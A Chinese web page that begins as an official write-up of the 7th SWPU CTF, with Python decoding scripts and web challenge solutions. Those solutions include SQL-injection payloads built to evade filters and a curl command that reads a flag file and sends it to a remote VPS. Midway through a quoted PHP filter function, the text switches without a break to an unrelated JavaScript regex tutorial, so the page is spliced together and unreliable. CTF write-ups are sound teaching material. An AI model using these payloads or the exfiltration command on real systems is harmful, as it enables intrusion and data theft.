整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

CTF攻略:第七届swpu-ctf官方Writeup

CTF攻略:第七届swpu-ctf官方Writeup

者:08067

预估稿费:300RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

比赛地址:ctf.08067.me

misc 100-1

http://misc.08067.me/misc4

misc 100-1 很简单,就是jsfuck和brianfuck两次编码,直接解出即可。

Misc 100-2

http://misc.08067.me/misc3/

Misc 100-2题目给的是一个图片,用winhex打开看到底部的密文

Base32解密得到:vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}

发现是凯撒加密,不过奇偶数移位方向不一样,发现偏移量是16,用脚本跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
str = "vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}"
for i in range(26):
key = ''
for x in str:
s = ord(x)
if (s not in range(97,123)) and (s not in range(65,91)):
key = key + chr(s)
else:
#print chr(s)
if s in range(97,123):
if s % 2 == 0:
s = s - i
if s not in range(97,123):
t = 97-s
t = 123-t
key = key + chr(t)
else:
key = key + chr(s)
else:
s = s + i
if s not in range(97,123):
t = s-122+96
key = key + chr(t)
else:
key = key + chr(s)
else:
#print chr(s)
if s % 2 == 0:
s = s - i
if s not in range(65,91):
t = 65-s
t = 91-t
key = key + chr(t)
else:
key = key + chr(s)
else:
s = s + i
if s not in range(65,91):
t = s-90+64
key = key + chr(t)
else:
key = key + chr(s)
print key

Misc 150

http://misc.08067.me/misc2/

打开wireshark数据包,提取http数据,得到一个flag.zip,

解压得到一个ce.txt文件,打开发现是一个rgb图片的像素点,然后用脚本还原即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from PIL import Image
import re
if __name__ == '__main__':
x = 887
y = 111
i = 0
j = 0
c = Image.new("RGB", (x,y))
file_object = open('ce.txt')
for i in range(0, x):
for j in range(0, y):
line = file_object.next()
lst = line.split(",")
c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2])))
c.show()
c.save("c.png")

web 200-1

http://web1.08067.me/

注入,过滤了空格、#、*、union、like、regexp、and、or、|、--、&、%0a、%0b、%0c、%0d等,需要想办法用其他操作符连接注入语句和闭合’。

mysql操作符参考:http://blog.csdn.net/yuzongtao/article/details/45044963

几个可用的poc:

1
uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd
1
uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd
1
uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd
1
uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1

来到后台,可以执行命令,但是对反弹shell的一些关键字做了过滤,对空格也做了过滤,只能通过cat读取flag,没又回显,然后打到用远程vps的日志上面

exp:

curl$IFS\vps:1234/`cat$IFS\../../flag`

web 200-2

http://web3.08067.me/

这道题主要是考察了php底层 wakeup 的一个bug,https://bugs.php.net/bug.php?id=72663

这道题根据tips:编辑器,可以考虑到.bak文件泄露

通过 robots.txt 发现了 function.php commom.php ,

最后找到了 function.php.bak index.php.bak

我们就获得了 整道题的代码

Index.php.bak

我们可以看见了这里 通过 cookie 的登陆

/function.php.bak

其他过滤代码 在该文件都可以得到

addslashes_deep() 是无法绕过的,我们就只能绕过wakeup

根据那个bug 的描述,我们直接进入 __destruct() ,这里我们取出了 $this->name

$this->name 是base64decode后,然后反序列化得到的,不用考虑waf等东西

我们看了这里只有一个 Checksql($sql)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
//sql 过滤
static function CheckSql($db_string,$querytype='select')
{
$clean='';
$error='';
$old_pos=0;
$pos=-1;
if($querytype=='select')
{
$notallow1="[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
exit("Error");
}

内容是《Web前端开发之Javascript视频》的课件,请配合大师哥《Javascript》视频课程学习。

正则表达式(regular expression),是一个描述字符模式的对象,其以一种简单的方式描述或匹配一系列符合某个语法规则的字符串;

ES使用RegExp类型来表示正则,其在String和RegExp类型都定了相关的正则方法,后者的功能更加强大;

语法:

直接量:var expression=/ pattern / flags;

RegExp:构造函数var expression=new RegExp(“pattern” [, “flags”]);

// 匹配所有包含wei的字符串
var pattern = /wei/;     // 直接量
var pattern = new RegExp("wei");   // 构造函数
var str = "wangwei";
console.log(pattern.test(str));

正则的模式(pattern)可以是任何简单或复杂的正则表达式,其由一个字符序列组成的,可以包含字符数字、限定符、分组、向前查找以及反向引用;

修饰符:

用来描述待匹配字符串的规则;其位置在 / 符号之外,或作为构造函数的第2个参数;

其支持3个标志:

  • g :表示全局(global)模式,即模式将被应用于所有字符串,而非在发现第一个匹配项时立即停止;
  • i :表示不区分大小写(case-insensitive)模式,即在确定匹配项时忽略模式与字符串的大小写;
  • m :表示多行(multiline),即在到达一行文本末尾时还会继续查找下一行中是否存在匹配项;
var str = "wangwei name is wangwei \r\n my WANGWEI age is 18 wangwei";
var reg = /wangwei/;   // 一个数组对象,但只包含一个wangwei
var reg = /wangwei/g;   // ["wangwei", "wangwei", "wangwei"]
var reg = /wangwei/ig;   // ["wangwei", "wangwei", "WANGWEI", "wangwei"]
var reg = /wangwei/img;  // ["wangwei", "wangwei", "WANGWEI", "wangwei"]
console.log(str.match(reg));

一个正则表达式就是一个模式与上述3个标志的结合体,不同组合产生不同结果,如:

var pattern1 = /at/g;  // 匹配字符串中所有at的实例
var pattern2 = /[bc]at/i; // 匹配第一个bat或cat,不区分大小写
var pattern3 = /.at/gi; // 匹配所有以at结尾的3个字符的组合,不区分大小写

另一种创建正则表达式的方式是使用RegExp构造函数;它接收两个参数:一个是要匹配的字符串模式,另一个是可选的修饰符字符串;如:

var pattern1 = new RegExp("[bc]at","i");

也可以不使用new操作符,其等同于new RegExp();但如果pattern参数是一个正则表达式时有所不同,它只是简单地返回pattern,而不会创建一个新的RegExp对象,但如果使用了不同的修饰符,就会返回新的RegExp对象:

var re = new RegExp(".at","g");
newre = RegExp(re);     // true
newre = RegExp(re,"i");  // false
console.log(re === newre);

RegExp构造函数最大的特点是可以动态的创建正则表达式,这种情况往往用在:没办法通过写死在正则直接量中;

for(var j=0;j<arr.length; j++){
        arrStr[i] = arrStr[i].replace(arr[j],"**");
// var reg = new RegExp(arr[j],"img");
       // arrStr[i] = arrStr[i].replace(reg,"**");
    }

转义符:如果模式中用到特殊字符(元字符),包括非字母字符,必须使用转义 \ ,包括\自身:

如果使用RegExp构造函数,转换符必须使用双 \ ,即 \:

var str = "wangwei name is [wangwei] \r\n my WANGWEI age is 18 wangwei";
var reg = /wangwei/img;    // ["wangwei", "wangwei", "WANGWEI", "wangwei"]
var reg = /\[wangwei\]/img;  // ["[wangwei]"]
var reg = new RegExp("\\[wangwei\\]", "img");  // ["[wangwei]"]
console.log(str.match(reg));

有关特殊字符(元字符)还有很多,后面会讲到。

精确匹配:

正则表达式中,出现了什么字符,就匹配什么字符,如/zero/,表示zero必须出现在字符串中,才能匹配。

这种和查找替换子字符串没有什么区别,很不灵活。

元字符:

元字符是正则表达式拥有特殊含义的字符,即是正则表达式语法的一部分,其包括:

^ $ . * + ?=! : | \ / ( ) [ ] { } (15个)

这些元字符在正则表达式中都有一或多种特殊用途,某些符号只有在正则的某些上下文中才具有某种特殊含义,在其他上下文中则被当作直接量处理;然而,任何时候,如果要使用这些特殊字符进行匹配,都必须进行转义。

如:var re=/\?/; 或者:var re=new RegExp(“\?”); (双重转义)

var pattern1 = /[bc]at/i;  // 匹配第一个bat或cat,不区分大小写
var pattern2 = /\[bc\]at/i; // 匹配第一个[bc]at,不区分大小写
var pattern3 = /.at/gi; // 匹配所有以at结尾的3个字符的组合,不区分大小写
var pattern4 = /\.at/gi; // 匹配所有.at,不区分大小写

注:其他标点符号没有特殊含义,可以直接当作字面量进行匹配;如果记不住这些特殊符号,可以为每个标点符号前都加上反斜杠;另外,许多字母和数字在有反斜杠做前缀时也有特殊含义。

使用特殊字符:

可以直接使用字符表示它们本身,但也可以使用它们的ASCII或者Unicode代码来指定字符;要使用ASCII来表示一个字符,则必须指定一个两位的十六进制代码,并在前面加上\x

也可以使用八进制代替十六进制来指定字符;

如果要使用Unicode来表示,必须指定字符串的四位的十六进制\uxxxx

var sColor = "blue";// b的ASCII为98, 等于十六进制62,因此b可以用\x62
var re = /\x62/;    // 16进制
var re = /\142/;    // 8进制
var re = /\u0062/;  // Unicode
console.log(re.test(sColor));

其他特殊字符:

\o NUL字符(\u0000)、 \t 制表符(\u0009)、 \n 换行符(\u000A)、 \v 垂直制表符(\u000B)、 \f 换页符(\u000C)、 \r 回车符(\u000D)、 \b 回退字符、 \a alert 字符、 \e escape字符、 \xnn由16进制数nn指定的拉丁字符,如:\x0A等价于\n、 \uxxxx由16进制数xxxx指定的Unicode字符,如:\u0009等价于\t、 cX与X相对应的控制字符,如,\cJ等价于换行符\n。

<textarea id="txt"></textarea>
<textarea id="result"></textarea>
<p id="myp"></p>
<input type="button" onclick="show()" value="提交" />
<script>
function show(){
    var str = document.getElementById("txt").value;
    var re = /\n/g;
    str = str.replace(re, "\n");  // 保存在数据中
    document.getElementById("result").value = str;
    str = str.replace(re, "<br/>");  // 显示在页面中
    document.getElementById("myp").innerHTML = str;
}

预定义字符:

也称为字符类;一个字符类可以匹配它所包含的任意字符;由于某些模式会反复用到,所以提供了一些预定义字符来提高匹配的效率;

  • .点 等同于[^\n\r], 除了换行符和回车之外的任意字符
  • \d 等同于[0-9], 数字(ASCII数字)
  • \D 等同于[^0-9], 非数字字符(除了ASCII数字之外的任何字符)
  • \s 等同于[ \t\n>\s 等同于[ \t\n\0B\f\r], 空白字符(任何Unicode空白符)
  • \S 等同于[^ \t\n>\S 等同于[^ \t\n\0B\f\r], 非空白字符(任何非Unicode空白符的字符),注:和\w不同
  • \w 等同于[a-zA-Z0-9_], 单词字符(即ASCII字符,包括所有字母,所有数字和下划线)
  • \W 等同于[^a-zA-Z0-9_],非单词字符(任何不是ASCII字符)
  • [\b] ,退格直接量(特例)
  • var str = "567 9838 zeronetwork 王唯";
    var re = /./gi;
    var re = /\d/gi;
    var re = /\d\d\d/gi;
    var re = /\D/gi;
    var re = /\s/gi;
    var re = /\S/gi;
    var re = /\w/gi;
    var re = /\W/gi;
    console.log(str.match(re));

    注:以上的字符指的是ASCII字符,非Unicode字符

    范围:

    通过将一些字符放入方括号中,表示要匹配的范围;

    • 简单范围:形如:/[acf]at/g
    • 排除范围:使用^(脱字符号),用来定义否定字符类,必须出现在[ 之后,匹配所有不包含在方括号内的字符,形如:/[^acf]at/
    • 连续范围:使用 – 连字符表示一个连续范围,如:[a-z], [0-9] ,[^1-4]
    • 组合范围:形如:[a-m1-4\n]
    var str = "a bat, a Cat, a fAt baT, a faT, a faT cat";
    var re = /[bcf]at/gi;  //["bat", "Cat", "fAt", "baT", "faT", "faT", "cat"]
    var re = /[\u0062cf]at/gi;  //["bat", "Cat", "fAt", "baT", "faT", "faT", "cat"]
    var re = /[^bc]at/gi;  //["fAt", "faT", "faT"]
    console.log(str.match(re));
     
    var str = "num1, num2, num3, num4, num5, num6, num7, num8, num9";
    var re = /num[1-4]/gi;
    console.log(str.match(re));  // ["num1", "num2", "num3", "num4"]
     
    var str = "567 9838 abc";
    var re = /[0-9][0-9][0-9]/gi;   // ["567", "983"]
    var re = /[0-9]{3}/gi;  // ["567", "983"]
    console.log(str.match(re));

    注:有些字符类转义字符只能匹配ASCII字符,还没有扩展到可以处理Unicode字符,但可以通过十六进制表示法来显式定义Unicode字符类,如:/[\u0400-\u04FF]/ 用以匹配所有Cyrillic字符(斯拉夫语)

    量词(重复):

    量词就是指定某个特定模式出现的次数;(如,可以把两位数字描述为/\d\d/,四位数描述为/\d\d\d\d/,那一千位呢?);

    在正则模式之后跟随用以指定字符重复的标记,即量词;如{4}表示重复4次;

    当指定某个模式应当出现的次数时,可以指定硬性数量(如:{3}表示某个字符应该出现三次),也可以指定软性数量(如:+表示某个字符至少出现一次,可以重复任意次);

    量词:

    • {n} :匹配n次
    • {n, m} :匹配至少n次,但不超过m次
    • {n, } :匹配至少n次
    • ? :匹配0次或1次,等价于{0, 1}
    • * :匹配0次或多次,等价于{0, }
    • + :匹配1次或多次,等价于{1, }
    var str = "wangwei age is 18, (birthday) is 1998 year. jing123 age is";
    var re = /\d{2,4}/g;  // ["18", "1998"]
    var re = /\w{4}\d?/g;
    var re = /\s+age\s+/g; // [" age ", " age "]
    var re = /[^(|)]*/g;   // 匹配非左括号或右括号的字符
    console.log(str.match(re));

    贪婪与非贪婪:

    var str = "wwwwww";
    var re = /w{2,4}/;
    console.log(str.match(re));  // wwww
    var str = "wangwei";
    var re = /\w+/;
    console.log(str.match(re));  // wangwei

    以上匹配的特点是:尽可能多地匹配;这种匹配称为“贪婪”匹配;

    贪婪量词的原理:先看整个字符串是否匹配,如果没有发现匹配,它去掉该字符串中的最后一个字符,并再次尝试,如果还没有发现匹配,那么再去掉最后一个字符,这个过程一直重复到发现一个匹配或者字符串不剩下任何字符;

    与贪婪对应的就是非贪婪,称为惰性方式,只需要在量词的后面跟随一个?问号即可,如:??、+?、*?或{1,5}?;如:修改上例;

    惰性量词的原理:先看字符串中的第一字母是否匹配,如果不匹配,再读出下一字符,一直继续,直到发现匹配或者整个字符串都检查过出没有匹配,与贪婪工作方式相反;

    支配量词:只尝试匹配整个字符串;如果整个字符串不匹配,就不做进一步尝试;(已不被支持)

    贪婪与惰性和支配量词说明:

    • 贪婪:? * + {n} {n,m} {n, }
    • 惰性:?? *? +? {n}? {n,m}? {n, }?
    • 支配:?+ *+ ++ {n}+ {n,m}+ {n, }+
    var str = "wwwww";
    var re = /w{1,}/;    // wwwww
    var re = /w{1,}?/;    // w
    console.log(str.match(re));
    var str = "abbbaabbbaaabbb1234";
    var re = /.*bbb/g;  // "abbbaabbbaaabbb"
    var re = /.*?bbb/g;  // ["abbb", "aabbb", "aaabbb"]
    console.log(str.match(re));

    使用非贪婪模式所得到的结果可能和期望并不一致:

    var str = "aaab";
    var re = /a+b/;  // aaab
    var re = /a+?b/;  // aaab
    console.log(str.match(re));

    复杂模式:表达式还可以由分组,反向引用,前瞻和其他一些强大的正则表达式功能组成;

    候选:

    候选就是用“|”来表示的模式或关系,它表示的是在匹配时可以匹配“|”的左边或右边。这个“|”相当于“或”。

    var str = "i like colors:red black";
    var re = /red|black|green/;  // red
    console.log(str.match(re));  
     
    var re = /jpg|png|gif/;
    console.log(re.test("xxx.jpg"));
     
    var str = "wang is 18 age."
    var re = /\d{2}|[a-z]{4}/;   // wang
    console.log(str.match(re));

    候选项的尝试匹配次序是从左到右,直到发现了匹配项;如果左边的选择项匹配,就忽略右边的匹配项,即使它会产生更好的匹配,如:

    var str = "abcde";
    var re = /a|ab/;   // a 只会匹配一个a
    console.log(str.match(re));

    候选结合replace() 方法 主要用在从用户输入删除不合适的单词;

    var str = "你妈的他妈的不是东西,都是坏蛋!";
    var re = /坏蛋|你妈的|他妈的/gi;
    var newStr = str.replace(re,"****");
    console.log(newStr);
    var newStr = str.replace(re,function(sMatch){
        return sMatch.replace(/./g, "*");
    });
    console.log(newStr);

    分组(捕获组):

    通过用一对圆括号,可以把单独的项组合成子表达式;

    var str = "wangwei1998";
    var re = /[a-z]+(\d+)/;
    console.log(str.match(re));

    为什么需要分组:

    它是一个组合项或子匹配,可作为一个单元,统一操作;如可以统一使用|、*、+等进行处理。

    可以把分组匹配的结果单独抽取出来以备后用;

    var str = "javascript";
    var re = /java(script)?/;  // true script可有可无
    console.log(re.test(str));
     
    var str = "dogdogdog";
    var re = /(dog){3}/;
    console.log(str.match(re));
     
    // 只关心匹配尾部的数字,把它单独提取出来
    var str = "京A88888";
    var re = /.{2}(\d+)/;
    var arr = re.exec(str);
    console.log(arr);
    console.log(arr[1]);

    还可以嵌套分组:

    var str = "zeronetwork";
    var re = /(zero(net(work)))/;
    console.log(str.match(re));

    反向引用:

    每个分组都被存放在一个特殊的地方以备将来使用,这此分组也称为捕获组,这些存储在分组中的特殊值,称之为反向引用;即允许在同一正则表达式的后部引用前面的子表达式;其是通过在字符“\”后加一位或多数数字实现的,该数字指定了分组的子表达式的在正则中的位置:

    var str = "god godod gododod godododod";
    var re = /g(od)\1*/g;
    console.log(str.match(re));

    由于分组可以嵌套,所以反向引用是按照从左到右遇到的左括号的顺序进行创建和编号的,如 (A?(B?(C?))) 1.(A?(B?(C?))) 2.(B?(C?)) 3. (C?):

    var str = "aaabbccbb aaabbccbb";
    var re = /(a+(b+))(c)\3\2\s\1/;
    console.log(str.match(re));

    对分组的引用,并不是对分组表达式的引用,而是对分组模式相匹配的文本的引用;再如:

    // 匹配单引号与双引号之间的字符
    var str = 'wangwei \'is" "18 old", he is \'good\' man';
    var re = /['"][^'"]*['"]/g;  // 不要求引号的匹配
    var re = /(['"])[^'"]*\1/g;  // 不要求引号的匹配
    console.log(str.match(re));

    反向引用的情景:通常用来处理相同连续的内容,如:

    // 匹配连续相同的三个数字
    console.log("111a222b333c123d".match(/(\d)\1\1/ig));// ["111", "222", "333"]
    console.log("111a222b333c123d".match(/(\d)\1{2}/ig));//["111", "222", "333"]
    // 不同点,这是匹配3个数字,而不是相同的数字
    console.log("111a222b333c123d".match(/(\d){3}/ig)); // ["111", "222", "333", "123"]
    //匹配ABAB格式的数字,如:1212或3434
    console.log("1212a3434b4545c123d".match(/(\d)(\d)\1\2/g)); // ["1212", "3434", "4545"]
    // 匹配ABBA格式的数字,如:1221或3443
    console.log("1221a3443b4554c123d".match(/(\d)(\d)\2\1/g)); //["1221", "3443", "4554"]
    // 检索html标记及内容
    var html = '请访问:<a href="https://www.zeronetwork.cn">zeronetwrok</a>网站';
    var reg = /<(\w+)[\s]*.+?>(.*)<\/\1>/ig;
    console.log(html.match(reg));

    反向引用几种使用方法:

    使用正则表达对象的test(), match(), search()方法后,反向引用的值可以从RegExp构造函数中获得;

    var str = "#123456789";
    var re = /#(\d+)/;
    re.test(str);
    console.log(RegExp.$1);  // 123456789
    // 去重
    var str = "aaaabbbbbbbcccccc";
    var re = /(\w)\1*/g;
    console.log(str.replace(re, "$1"));  // abc
    // 格式化输出
    var str = "1234 5678";
    var re=/(\d{4}) (\d{4})/;
    var newStr = str.replace(re, "$2 $1");  // 5678 1234
    console.log(newStr);

    非捕获性分组:

    反向引用,称为捕获性分组;如果只需要组合,不需要反向引用,则可以使用非捕获性分组;

    在较长的正则表达式中,存储反向引用会降低匹配速度;

    非捕获性分组:在左括号的后面加一个问号和一个紧跟的冒号,如:(?: );此时,使用\n就访问不了捕获组了。

    var str = "zeronetwork";
    var re = /(?:net)/;
    console.log(str.match(re));
    console.log(RegExp.$1);  // 空
    // 删除HTML标识
    String.prototype.stripHTML = function(){
        var re = /<(?:.|\s)*?>/g;
        return this.replace(re,"");
    };
    var str="<a href=#><b>零点程序员</b></a>";
    document.write(str + "<br>");
    document.write(str.stripHTML());

    边界:

    边界(bounday):用于正则表达式中表示模式的位置;也称为匹配表达式的锚:

    • ^ :匹配字符串的开头,在多行中,匹配行开头;
    • $ :匹配字符串的结尾,在多行中,匹配行结尾;
    • \b :匹配单词的边界,即位于字符\w和\W之间的位置,或位于字符\w和字符串的开头或者结尾之间;
    • \B :匹配非单词的边界的位置;
    var str = "JavaScript";  // JavaScript
    var str = "JavaScript Code";  // null
    var re = /^JavaScript$/;  // 如果不使用$,使用\s也可以,但是包含了空格
    console.log(str.match(re));
     
    var str = "Study Javascript Code. JavaScripter is good";
    var re = /Java[sS]cript/g;  // ["Javascript", "JavaScript"]
    var re = /\bJava[sS]cript\b/g;  //  ["Javascript"]
    var re = /\bJava[sS]cript\B/g;  //  ["JavaScript"]
    var re = /\B[sS]cript/g;  //  不会匹配单独的script或Script
    console.log(str.match(re));
     
    var str = "wangwei is good man";
    var re = /(\w+)$/;  // man
    re.test(str);
    console.log(RegExp.$1);
    var re = /^(\w+)/;  // wangwei
    re.test(str);
    console.log(RegExp.$1);
    var re = /^(.+?)\b/;    // wangwei
    re.test(str);
    console.log(RegExp.$1);
    var str = "First second third fourth fifth sizth";
    var re = /\b(\S+?)\b/g;
    var re = /\b(\w+)\b/g;
    var arr = str.match(re);
    console.log(arr);

    前瞻(先行断言):

    前瞻(lookahead) :是指检查接下来出现的是不是位于某个特定字符之前;分为正向和负向;

    正向前瞻要将模式放在(?=和 )之间,如:(?=p);要求接下来的字符都与p匹配,但不能包括匹配p的那些字符;也称为正向先行断言;

    负向前瞻:将模式放到(?! 或 ) 之间,如:(?!p);要求接下来的字符不与p匹配;也称为负向先行断言;

    注:虽然用到括号,但这不是分组;JS不支持后瞻,后瞻可以匹配,如:匹配b且仅当它前面没有a;

    var str1 = "bedroom Bedding";
    var re = /([bB]ed(?=room))/;   // bed
    var re = /([bB]ed(?!room))/;   // Bed
    console.log(str1.match(re));
    console.log(RegExp.$1);
     
    var str = "Javascript: function is simple javascript.";
    var re = /[jJ]avascript(?=:)/g;  // Javascript 后面有冒号才匹配
    var re = /[jJ]avascript(?!:)/g;  // javascript 后面没有冒号才匹配
    console.log(str.match(re));
     
    var str = "JavaScript Javascript JavaBeans javascripter";
    var re = /[jJ]ava(?=[sS]cript)/g;  // ["Java", "Java", "java"]
    var re = /[jJ]ava(?![sS]cript)/g;  // Java
    var re = /[jJ]ava(?![sS]cript)\w+/g;  // JavaBeans
    console.log(str.match(re));
     
    // 添加千分位
    var str = "钱:1234567890123";
    var re = /(?=(\B)(\d{3})+$)/g;
    console.log(str.match(re));
    console.log(str.replace(re, ","));

    多行模式:

    要指定多行模式,需要指定m选项,如果待匹配字符串包含多行,那么^与$锚字符除了匹配整个字符串的开始和结尾之外,还能匹配每行的开始和结尾;

    var str = "wangwei is\ntechnical director\nof zeronetwork";
    var re = /(\w+)$/g;  // zeronetwork
    var re = /(\w+)$/gm;  // ["is", "director", "zeronetwork"]
    console.log(str.match(re));
     
    var re = /^(\w+)/g;  // wangwei
    var re = /^(\w+)/gm;  // ["wangwei", "technical", "of"]
    console.log(str.match(re));
     
    var re = /^(.+)$/g;  // null 如果待匹配字符串中有换行,如果不使用m,则结果为null
    console.log(str.match(re));

    RegExp实例属性:

    RegExp的每个实例都具有下列属性,通过这些属性可以取得有关模式的各种信息;

    1. global:只读,布尔值,表示是否设置了g标志
    2. ignoreCase:只读,布尔值,是否设置了i标志
    3. multiline:只读,布尔值,是否设置了m标志
    4. lastIndex:可读写,整数,如果模式带有g,表示开始搜索下一个匹配项的字符位置,从0起;该属性一般会在exec()和test()中用到;
    5. source:只读,正则表达式的字符串表示,按照字面量形式而非传入构造函数中的字符串模式返回;但不包含修饰符;
    var str = "wangwei name is Wangwei \r\n WANGWEI age is 18 wangwei";
    var reg = /Wangwei/img;
    console.log("g:" + reg.global + ",i:" + reg.ignoreCase + ",m:" + reg.multiline);
    console.log("s:" + reg.source);
    reg.test(str);
    console.log(reg.lastIndex);
     
    var pattern = new RegExp("wangwei","img");
    console.log("g:" + reg.global + ",i:" + reg.ignoreCase + ",m:" + reg.multiline);
    console.log("s:" + reg.source);
    reg.lastIndex = 0;
    reg.test(str);
    console.log(reg.lastIndex);

    RegExp实例方法:

    继承的方法:

    toLocaleString()和toString()方法,是RegExp实例继承的方法,其都会返回正则表达式的字面量,与正则表达式的方式无关,如:

    var pattern = new RegExp("\\[bc\\]]at","gi");
    alert(pattern.toString());  // /\[bc\]]at/gi
    alert(pattern.toLocaleString()); // /\[bc\]]at/gi

    说明:即使是通过RegExp构造函数创建的,但toLocaleString()和toString()方法仍然会像它以字面量的形式返回;

    正则表达式的valueOf()方法返回正则表达式本身;

    alert(pattern.valueOf());  // /\[bc\]]at/gi

    RegExp对象定义了两个用于执行模式匹配操作的方法;它们的行为与String类中的与模式相关的方法很类似;

    test()方法:

    测试目标字符串与某个模式是否匹配,接受一个字符串参数,如果匹配返回true,否则返回false,该方法使用非常方便,一般被用在if语句主,如:

    var pattern = /zero/i;
    console.log(pattern.test("Zeronetwork")); // true
     
    var text = "000-00-0000";
    var pattern = /\d{3}-\d{2}-\d{4}/;
    if (pattern.test(text)){
        alert("匹配");
    }

    exec()方法:

    是RegExp对象最主要的方法,该方法是专门为捕获组而设计的;

    其会接受一个参数,即要应用模式的字符, 会返回第一个匹配项信息的数组(就像String类的match()方法为非全局检索返回的数组一样);如果没有匹配成功,返回null;在数组中,第一项是与整个模式匹配的字符串,其他项是与模式中的捕获组匹配的字符串(如果模式中没有捕获组,该数组只包含一项);

    返回的虽然为Array实例,但包含两个额外的属性:index和input;index表示匹配项在字符串中的位置,而input表示应用正则表达式的字符串;

    var text = "mom and dad and baby";
    var pattern = /mom( and dad( and baby)?)?/gi;
    var arr = pattern.exec(text);
    console.log(arr);  // mom and dad and baby, and dad and baby, and baby
    console.log(arr.index);  // 0
    console.log(arr.input);  // mom and dad and baby
    console.log(arr[0]);  // mom and dad and baby
    console.log(arr[1]);  // and dad and baby
    console.log(arr[2]);  // and baby

    对于exec(),不管有没有设置全局标志,其每次也只会返回一个匹配项;在不设置全局标志情况下,在同一个字符串上多次调用exec() 将始终返回第一个匹配项的信息。而设置全局标志的情况下,每次调用exec()则都会在字符串中继续查找新匹配项,会将当前正则对象的lastIndex属性设置为紧挨着匹配子串的字符位置,为下一次执行exec()时指定检索位置;如果exec()没有匹配结果,lastIndex被重置为0;

    var text = "cat, bat, sat, fat";
    var pattern = /.at/;  // 没有使用g全局
    var pattern = /.at/g;  // 使用g全局
    var matches = pattern.exec(text);
    console.log(matches);
    console.log("match:"+matches[0]+",index:" + matches.index + ",lastIndex:" + pattern.lastIndex);
    // 再一次执行,使不使用g,结果不一样
    matches = pattern.exec(text);
    console.log(matches);
    console.log("match:"+matches[0]+",index:" + matches.index + ",lastIndex:" + pattern.lastIndex);
    // 再一次执行,使不使用g,结果不一样
    matches = pattern.exec(text);
    console.log(matches);
    console.log("match:"+matches[0]+",index:" + matches.index + ",lastIndex:" + pattern.lastIndex);

    注:IE的lastIndex属性有偏差,即使在非全局模式下,lastIndex属性每次也会有变化;

    使用test()与exec()是等价的,当exec()的结果不是null,test()返回true时,它们都会影响模式的lastIndex()属性,当然是在全局下;如此,也可以使用test()遍历字符串,就跟exec()一样,如:

    var text = "cat, bat, sat, fat";
    var pattern = /.at/g;
    console.log(pattern.test(text));
    console.log(pattern.lastIndex);
    console.log(pattern.test(text));
    console.log(pattern.lastIndex);
    // 一直调用4次,test()就会返回false
    // 遍历
    var text = "cat, bat, sat, fat";
    var pattern = /.at/g;
    while(pattern.test(text)){
        console.log(pattern.lastIndex);
    }

    lastIndex属性是可读写的,可以在任何时候设置它,以便定义下一次搜索在目标字符串中的开始位置;exec()和test()在没有找到匹配项时会自动将lastIndex设置为0;如果在一次成功的匹配之后搜索一个新的字符串,一般需要显式地把这个属性设置为0;

    var text = "cat, bat, sat, fat";
    var pattern = /.at/g;
    console.log(pattern.exec(text));
    console.log(pattern.lastIndex);
    // 匹配新的字符串
    var str = "gat,good,pat";
    pattern.lastIndex = 0;  // 3 如果没有此句,返回9,即pat的位置
    console.log(pattern.exec(str));
    console.log(pattern.lastIndex);

    RegExp构造函数属性:

    RegExp构造函数包括一些属性,这些属性适用于作用域中的所有正则表达式,并且基于所执行的最近一次操作而变化,另外这些属性名都有别名,即可以通过两种方式来访问它们,可以称为长属性和短属性;

    input -- $_ :最近一次要匹配的字符串;
    lastMatch -- $& :最近一次的匹配项;
    lastParen -- $+ :最近一次匹配组;
    leftContext -- $` :input字符串中lastMatch之前(左边)的文本
    rightContext -- $’ :input字符串中lastMatch之后(右边)的文本
    multiline -- $* :布尔值,表示是否所有表达式都使用多行模式,部分浏览器未实现

    使用这些属性都可以从exec()或test()执行的操作中提取出更具体的信息;

    var text = "this has been a short summer";
    var pattern = /(.)hort/gm;
    if(pattern.test(text)){
        console.log(RegExp.input);  // this has been a short summer
        console.log(RegExp.lastMatch);  // short
        console.log(RegExp.lastParen);  // s
        console.log(RegExp.leftContext);  // this has been a 
        console.log(RegExp.rightContext);  // summer
        console.log(RegExp.multiline);  // undefined
    }

    由于短属性大都不是有效JS标识符,所以必须通过方括号访问;

    if(pattern.test(text)){
        console.log(RegExp.$_);  // this has been a short summer
        console.log(RegExp["$&"]);  // short
        console.log(RegExp["$+"]);  // s
        console.log(RegExp["$`"]);  // this has been a 
        console.log(RegExp["$'"]);  // summer
        console.log(RegExp["$*"]);  // false
    }

    除了以上,还有9个用于存储捕获组的构造函数属性,语法为: RegExp. . RegExp.…..RegExp., 分别用于匹配第一,第二…第九个捕获组,在调用exec()或test()方法时,这些属性会被自动填充;

    var text = "this has been a short summer";
    var pattern = /(..)or(.)/g;
    if(pattern.test(text)){
        console.log(RegExp.$1); // sh
        console.log(RegExp.$2); // t
        console.log(RegExp.$3); // ""
    }

    说明:包含了两个捕获组;本质上就是反向引用。

    字符串方法:

    正则是用在字符串String类型上的,所以String类型定义了几个用于在字符串中匹配模式的方法;

    search()方法:

    接受的参数就一个正则表达式,其返回字符串中第一个匹配项的索引;如果没有找到匹配项,则返回-1;如:

    var text = "cat, bat, sat, fat";
    // 以下的.at可以改成at
    var pattern = /.at/;  // 0
    var pos = text.search(/.at/);  // 0
    var pos = text.search(/.at/g);  // 0
